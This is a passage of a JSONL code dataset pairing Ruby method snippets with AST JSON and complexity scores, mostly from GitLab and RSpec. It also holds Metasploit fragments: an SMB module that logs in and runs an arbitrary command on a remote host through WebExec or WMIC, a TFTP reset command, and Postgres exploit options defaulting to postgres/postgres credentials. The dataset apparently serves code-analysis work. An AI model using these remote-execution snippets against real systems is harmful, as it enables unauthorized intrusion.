type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"diff_theme\",{\"type\":\"lvar\",\"children\":[\"diff_fields\"]},{\"type\":\"lvar\",\"children\":[\"prev\"]},{\"type\":\"lvar\",\"children\":[\"cur\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_group_create\"]},{\"type\":\"sym\",\"children\":[\"tag_group_destroy\"]},{\"type\":\"sym\",\"children\":[\"tag_group_change\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"diff_tag_group\",{\"type\":\"lvar\",\"children\":[\"diff_fields\"]},{\"type\":\"lvar\",\"children\":[\"prev\"]},{\"type\":\"lvar\",\"children\":[\"cur\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_fields\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cur\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prev\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<h3>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"</h3><p></p>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDiff\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prev\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cur\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"side_by_side_markdown\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side_by_side\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}]}]}","id":"b16d19f7-e760-4bfe-854a-aa3c21e013c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":726,"raw_source":"def old_severity(assoc)\n    @_old_severity ||= assoc.fetch(:severity, severity)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"old_severity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_old_severity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"send\",\"children\":[null,\"severity\"]}]}]}]}","id":"8769548d-a22b-43a6-a53f-40984815346c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/clusters/cluster_presenter.rb","start_line":31,"raw_source":"def show_path(params: {})\n      if cluster.project_type?\n        project_cluster_path(project, cluster, params)\n      elsif cluster.group_type?\n        group_cluster_path(group, cluster, params)\n      elsif cluster.instance_type?\n        admin_cluster_path(cluster, params)\n      else\n        raise NotImplementedError\n      end\n    end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show_path\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"project_type?\"]},{\"type\":\"send\",\"children\":[null,\"project_cluster_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"cluster\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"group_type?\"]},{\"type\":\"send\",\"children\":[null,\"group_cluster_path\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"cluster\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"instance_type?\"]},{\"type\":\"send\",\"children\":[null,\"admin_cluster_path\",{\"type\":\"send\",\"children\":[null,\"cluster\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]}]}]}]}]}]}","id":"1d7d9ed6-b73b-44d5-84de-8c8d0ec1e7a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb","start_line":103,"raw_source":"def cmd_tftp_reset(*args)\n    @@tftp_reset_opts.parse(args) { |opt, idx, val|\n      case opt\n      when '-h'\n        print_tftp_reset_usage\n        return true\n      end\n    }\n\n    print_status( \"Resetting TFTP server ...\" )\n    client.lanattacks.tftp.reset\n    print_good( \"TFTP server reset.\" )\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_tftp_reset\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@tftp_reset_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_tftp_reset_usage\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Resetting TFTP server ...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"lanattacks\"]},\"tftp\"]},\"reset\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"TFTP server reset.\"]}]}]}]}","id":"946b8e6b-8361-44e2-9b73-9de481bf8b61"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/logger.rb","start_line":30,"raw_source":"def log_path\n          File.expand_path('../../tmp', __dir__)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../tmp\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"d42ae79b-23db-4f73-8461-00ce0bd6f503"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issues_helper.rb","start_line":214,"raw_source":"def dashboard_issues_list_data(current_user)\n    {\n      autocomplete_award_emojis_path: autocomplete_award_emojis_path,\n      autocomplete_users_path: autocomplete_users_path,\n      calendar_path: url_for(safe_params.merge(calendar_url_options)),\n      dashboard_labels_path: dashboard_labels_path(format: :json, include_ancestor_groups: true),\n      dashboard_milestones_path: dashboard_milestones_path(format: :json),\n      empty_state_with_filter_svg_path: image_path('illustrations/empty-state/empty-issues-md.svg'),\n      empty_state_without_filter_svg_path: image_path('illustrations/empty-state/empty-search-md.svg'),\n      has_issue_date_filter_feature: Feature.enabled?(:issue_date_filter, current_user).to_s,\n      initial_sort: current_user&.user_preference&.issues_sort,\n      is_public_visibility_restricted:\n        Gitlab::CurrentSettings.restricted_visibility_levels&.include?(Gitlab::VisibilityLevel::PUBLIC).to_s,\n      is_signed_in: current_user.present?.to_s,\n      rss_path: url_for(safe_params.merge(rss_url_options))\n    }\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dashboard_issues_list_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autocomplete_award_emojis_path\"]},{\"type\":\"send\",\"children\":[null,\"autocomplete_award_emojis_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autocomplete_users_path\"]},{\"type\":\"send\",\"children\":[null,\"autocomplete_users_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"calendar_path\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"calendar_url_options\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dashboard_labels_path\"]},{\"type\":\"send\",\"children\":[null,\"dashboard_labels_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_ancestor_groups\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dashboard_milestones_path\"]},{\"type\":\"send\",\"children\":[null,\"dashboard_milestones_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty_state_with_filter_svg_path\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-issues-md.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty_state_without_filter_svg_path\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-search-md.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_issue_date_filter_feature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"issue_date_filter\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initial_sort\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"user_preference\"]},\"issues_sort\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_public_visibility_restricted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"restricted_visibility_levels\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"PUBLIC\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_signed_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"present?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rss_path\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"rss_url_options\"]}]}]}]}]}]}","id":"845cdaca-e77b-452b-b10f-cdb0bd54c130"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/design_management/design.rb","start_line":164,"raw_source":"def to_reference(from = nil, full: false)\n      infix = full ? '/designs' : ''\n      safe_name = Sanitize.fragment(filename)\n\n      \"#{issue.to_reference(from, full: full)}#{infix}[#{safe_name}]\"\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"from\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"full\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"infix\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full\"]},{\"type\":\"str\",\"children\":[\"/designs\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"safe_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sanitize\"]},\"fragment\",{\"type\":\"send\",\"children\":[null,\"filename\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"to_reference\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"lvar\",\"children\":[\"full\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"infix\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}","id":"7335c2fc-fa36-44f4-a7c2-d39016ca313f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/smb/webexec_command.rb","start_line":51,"raw_source":"def run_host(ip)\n    @smbshare = datastore['SMBSHARE']\n    @ip = ip\n\n    # Try and authenticate with given credentials\n    if connect\n      begin\n        smb_login\n      rescue Rex::Proto::SMB::Exceptions::Error => e\n        print_error(\"Unable to authenticate with given credentials: #{e}\")\n        return\n      end\n\n      command = datastore['COMMAND']\n      if datastore['FORCE_GUI']\n        command = \"WMIC PROCESS CALL Create \\\"#{command}\\\"\"\n      end\n\n      wexec(true) do |opts|\n        execute_single_command(command, opts)\n      end\n\n      print_good('Command completed!')\n      disconnect\n    end\n  end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@smbshare\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBSHARE\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ip\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smb_login\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Exceptions\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to authenticate with given credentials: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMMAND\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORCE_GUI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WMIC PROCESS CALL Create \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wexec\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_single_command\",{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Command completed!\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},null]}]}]}","id":"c1b80d78-2790-4dbb-8e48-deac487de318"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/stacktrace_builder.rb","start_line":13,"raw_source":"def build_stacktrace(payload)\n      raw_stacktrace = raw_stacktrace_from_payload(payload)\n      return [] unless raw_stacktrace\n\n      raw_stacktrace.map do |entry|\n        {\n          'lineNo' => entry['lineno'],\n          'context' => build_stacktrace_context(entry),\n          'filename' => entry['filename'],\n          'abs_path' => entry['abs_path'],\n          'function' => entry['function'],\n          'colNo' => 0 # we don't support colNo yet.\n        }\n      end\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_stacktrace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_stacktrace\",{\"type\":\"send\",\"children\":[null,\"raw_stacktrace_from_payload\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_stacktrace\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_stacktrace\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lineNo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lineno\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[null,\"build_stacktrace_context\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"filename\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"abs_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"abs_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"function\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"function\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"colNo\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"d2f2a2a3-9ebe-4c1a-9370-a6afa4c4d2c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/postgres.rb","start_line":26,"raw_source":"def initialize(info = {})\n    super\n\n    # Register the options that all Postgres exploits may make use of.\n    register_options(\n      [\n        Opt::RHOST,\n        Opt::RPORT(5432),\n        OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),\n        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),\n        OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),\n        OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),\n        OptString.new('SQL', [ false, 'The SQL query to execute',  'select version()']),\n        OptBool.new('RETURN_ROWSET', [false, \"Set to true to see query result sets\", true])\n      ], Msf::Exploit::Remote::Postgres)\n\n    register_autofilter_ports([ 5432 ])\n    register_autofilter_services(%W{ postgres })\n  end","complexity_score":13.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5432]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DATABASE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The database to authenticate against\"]},{\"type\":\"str\",\"children\":[\"template1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for the specified username. Leave blank for a random password.\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable verbose output\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SQL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SQL query to execute\"]},{\"type\":\"str\",\"children\":[\"select version()\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"RETURN_ROWSET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Set to true to see query result sets\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"Postgres\"]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_ports\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5432]}]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_services\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"postgres\"]}]}]}]}]}","id":"775cd5bf-18a5-4eb0-b34f-2b48d148e15b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/diffs/stats_component.rb","start_line":51,"raw_source":"def diff_file_changed_icon_color(diff_file)\n      if diff_file.deleted_file?\n        \"danger\"\n      elsif diff_file.new_file?\n        \"success\"\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_changed_icon_color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"deleted_file?\"]},{\"type\":\"str\",\"children\":[\"danger\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"new_file?\"]},{\"type\":\"str\",\"children\":[\"success\"]},null]}]}]}","id":"e3604744-4d9d-4a5d-a09a-10b6c1d7cd76"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/notifications.rb","start_line":386,"raw_source":"def fully_formatted(colorizer=::RSpec::Core::Formatters::ConsoleCodes)\n        formatted = \"\\nFinished in #{formatted_duration} \" \\\n                    \"(files took #{formatted_load_time} to load)\\n\" \\\n                    \"#{colorized_totals_line(colorizer)}\\n\"\n\n        unless failed_examples.empty?\n          formatted += (colorized_rerun_commands(colorizer) + \"\\n\")\n        end\n\n        formatted\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fully_formatted\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"colorizer\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RSpec\"]},\"Core\"]},\"Formatters\"]},\"ConsoleCodes\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nFinished in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatted_duration\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(files took \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatted_load_time\"]}]},{\"type\":\"str\",\"children\":[\" to 